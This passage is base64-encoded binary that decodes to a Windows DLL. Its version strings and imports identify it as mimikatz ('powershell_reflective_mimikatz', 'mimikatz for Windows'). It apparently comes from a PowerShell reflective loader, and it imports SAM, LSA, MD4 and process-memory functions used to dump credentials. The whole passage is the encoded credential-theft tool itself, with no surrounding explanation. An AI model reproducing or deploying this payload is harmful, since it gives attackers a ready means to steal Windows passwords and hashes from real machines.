bG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAhAFNhbU9wZW5Vc2VyAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluAAcAU2FtQ29ubmVjdAAAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAABgAU2FtR2V0R3JvdXBzRm9yVXNlcgAsAFNhbVJpZFRvU2lkABsAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZXIAABUAU2FtR2V0QWxpYXNNZW1iZXJzaGlwAFNBTUxJQi5kbGwAACgATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAAlAExzYUZyZWVSZXR1cm5CdWZmZXIAIwBMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACIATHNhQ29ubmVjdFVudHJ1c3RlZAAhAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAFNlY3VyMzIuZGxsAAcAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbACYAUlzQ2hhckFscGhhTnVtZXJpY1cAVVNFUjMyLmRsbAAABQBNRDRVcGRhdGUAAwBNRDRGaW5hbAAABABNRDRJbml0AGFkdmFwaTMyLmRsbAAAEABSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAKAFJ0bEZyZWVBbnNpU3RyaW5nAAIATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAOAFJ0bEluaXRVbmljb2RlU3RyaW5nAAAJAFJ0bEVxdWFsVW5pY29kZVN0cmluZwABAE50UXVlcnlPYmplY3QADABSdGxHZXRDdXJyZW50UGViAAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MADwBSdGxTdHJpbmdGcm9tR1VJRAALAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAANAFJ0bEdldE50VmVyc2lvbk51bWJlcnMAAAMATnRSZXN1bWVQcm9jZXNzAAYAUnRsQWRqdXN0UHJpdmlsZWdlAAAEAE50U3VzcGVuZFByb2Nlc3MAAAUATnRUZXJtaW5hdGVQcm9jZXNzAAAIAFJ0bEVxdWFsU3RyaW5nAABudGRsbC5kbGwAxQBGaWxlVGltZVRvU3lzdGVtVGltZQAAWAJMb2NhbEFsbG9jAABcAkxvY2FsRnJlZQClA1dyaXRlRmlsZQC1AlJlYWRGaWxlAABWAENyZWF0ZUZpbGVXAO4ARmx1c2hGaWxlQnVmZmVycwAAZAFHZXRGaWxlU2l6ZUV4AEEBR2V0Q3VycmVudERpcmVjdG9yeVcAADQAQ2xvc2VIYW5kbGUAQgFHZXRDdXJyZW50UHJvY2VzcwCGAk9wZW5Qcm9jZXNzAHEBR2V0TGFzdEVycm9yAACTAER1cGxpY2F0ZUhhbmRsZQApA1NldExhc3RFcnJvcgAAigBEZXZpY2VJb0NvbnRyb2wAHANTZXRGaWxlUG9pbnRlcgAAiQNWaXJ0dWFsUXVlcnkAAIoDVmlydHVhbFF1ZXJ5RXgAALgCUmVhZFByb2Nlc3NNZW1vcnkAiANWaXJ0dWFsUHJvdGVjdEV4AACHA1ZpcnR1YWxQcm90ZWN0AACuA1dyaXRlUHJvY2Vzc01lbW9yeQAAaAJNYXBWaWV3T2ZGaWxlAHIDVW5tYXBWaWV3T2ZGaWxlAFUAQ3JlYXRlRmlsZU1hcHBpbmdXAABfAkxvY2FsUmVBbGxvYwAAaQBDcmVhdGVQcm9jZXNzVwAASAFHZXREYXRlRm9ybWF0VwAA4QFHZXRUaW1lRm9ybWF0VwAAxABGaWxlVGltZVRvTG9jYWxGaWxlVGltZQBcA1N5c3RlbVRpbWVUb0ZpbGVUaW1lAADIAUdldFN5c3RlbVRpbWUA+ABGcmVlTGlicmFyeQBVAkxvYWRMaWJyYXJ5VwAAoAFHZXRQcm9jQWRkcmVzcwAAVwNTbGVlcADyAlNldENvbnNvbGVDdXJzb3JQb3NpdGlvbgAAuQFHZXRTdGRIYW5kbGUAAMgARmlsbENvbnNvbGVPdXRwdXRDaGFyYWN0ZXJXADcBR2V0Q29uc29sZVNjcmVlbkJ1ZmZlckluZm8AAEMCSXNXb3c2NFByb2Nlc3MAAEUBR2V0Q3VycmVudFRocmVhZAAAQwFHZXRDdXJyZW50UHJvY2Vzc0lkAEtFUk5FTDMyLmRsbAAAHAVfdnNjd3ByaW50ZgBxBXdjc3JjaHIAaAV3Y3NjaHIAAB8FX3djc2ljbXAAACEFX3djc25pY21wAHMFd2Nzc3RyAAB2BXdjc3RvdWwAVgFfZXJybm8AAEIFdmZ3cHJpbnRmAJUEZmZsdXNoAAAnBF93Zm9wZW4AkgRmY2xvc2UAAKYEZnJlZQAA6gNfd2NzZHVwAG1zdmNydC5kbGwAAO4EbWVtc2V0AADqBG1lbWNweQAAagBfWGNwdEZpbHRlcgDeBG1hbGxvYwAA1QFfaW5pdHRlcm0AAQFfYW1zZ19leGl0AACFBGNhbGxvYwAAwARpc2RpZ2l0AOcEbWJ0b3djAACwAF9fbWJfY3VyX21heAAAwgRpc2xlYWRieXRlAADVBGlzeGRpZ2l0AADZBGxvY2FsZWNvbnYAANsBX2lvYgAALwNfc25wcmludGYAMQJfaXRvYQBuBXdjdG9tYgAAlARmZXJyb3IAAMwEaXN3Y3R5cGUAAGkFd2NzdG9tYnMAAP8EcmVhbGxvYwCFAF9fYmFkaW9pbmZvAM8AX19waW9pbmZvAAQDX3JlYWQAbwFfZmlsZW5vAEsCX2xzZWVraTY0AEgEX3dyaXRlAADeAV9pc2F0dHkAPQV1bmdldGMAAI0CT3V0cHV0RGVidWdTdHJpbmdBAADXAlJ0bFVud2luZAApAkludGVybG9ja2VkRXhjaGFuZ2UAJgJJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAAXwNUZXJtaW5hdGVQcm9jZXNzAABvA1VuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAASwNTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAowJRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDfAUdldFRpY2tDb3VudAAARgFHZXRDdXJyZW50VGhyZWFkSWQAAMoBR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAAAAAAOJ6e1MAAAAAYlUCAAEAAAABAAAAAQAAAFhVAgBcVQIAYFUCAMZFAABvVQIAAABtaW1pa2F0ei5kbGwAcG93ZXJzaGVsbF9yZWZsZWN0aXZlX21pbWlrYXR6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE7mQLuxGb9E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QgB1AGkAbABkAAAAawBpAHcAaQAgAGYAbABhAHYAbwByACAAIQAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAEKAAAADAAAABgAAAAAQAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABU/YgAKBQEACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLABZCZwAKBgMACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAkDAAALCgkACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwILCwsECwsLCQsLCw4LCwsTCwsLFwsLCxoLCwsXCwsLEwsLCw0LCwsFCwsLAgsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsKCQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwcLCwsWCwsLJwsLCzgLCQk/CwkHRQsJB00LCQdZCwkHZAsJCXALCwl7CwsLhQsLDIoLCwyJCwsLfwsLC3MLCwtlCwsLVgsLC0kLCwtACwsLOgsLCy4LCwscCwsLCgsLCwALCwsACwsLAAsLCwALCwsA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